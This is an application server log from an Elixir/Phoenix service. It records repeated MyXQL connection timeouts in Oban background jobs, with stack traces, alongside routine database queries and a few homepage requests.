[Fri Sep  4 16:51:34.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 16:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1842.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1819.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.1ms idle=1797.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:17:24.816000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 17:17:29.817000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 17:17:33.892000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 17:18:06.925000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 17:18:08.897000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 17:18:11.926000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 17:18:16.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 17:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1760.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:30:00.693000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=1736.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 17:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 17:30:01.763000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.6ms idle=1070.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 17:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 17:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1725.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:39:38.807000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.14.5:57368] GET /
[Fri Sep  4 17:39:38.808000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.33.14.5:57368] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 17:39:38.809000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.14.5:57368] Sent 200 in 1ms
[Fri Sep  4 17:42:07.990000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.236.228.111:28620] GET /
[Fri Sep  4 17:42:07.990000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 172.236.228.111:28620] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 17:42:07.991000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.236.228.111:28620] Sent 200 in 924µs
[Fri Sep  4 17:43:37.918000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.115.134:55800] GET /
[Fri Sep  4 17:43:37.918000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.79.115.134:55800] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 17:43:37.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.115.134:55800] Sent 200 in 1ms
[Fri Sep  4 17:44:00.813000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.239.64.86:13214] GET /
[Fri Sep  4 17:44:00.813000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 172.239.64.86:13214] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 17:44:00.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 172.239.64.86:13214] Sent 200 in 1ms
[Fri Sep  4 17:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1707.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 17:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1694.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:00:00.709000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms idle=1660.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 18:00:00.892000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1294.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 18:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1676.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1643.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1629.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1585.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1569.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 18:56:24.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.2ms idle=1540.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1523.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:12:55.540000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Fri Sep  4 19:13:05.190000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:13:07.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:13:11.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Fri Sep  4 19:13:27.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Fri Sep  4 19:13:43.743000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Fri Sep  4 19:13:51.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
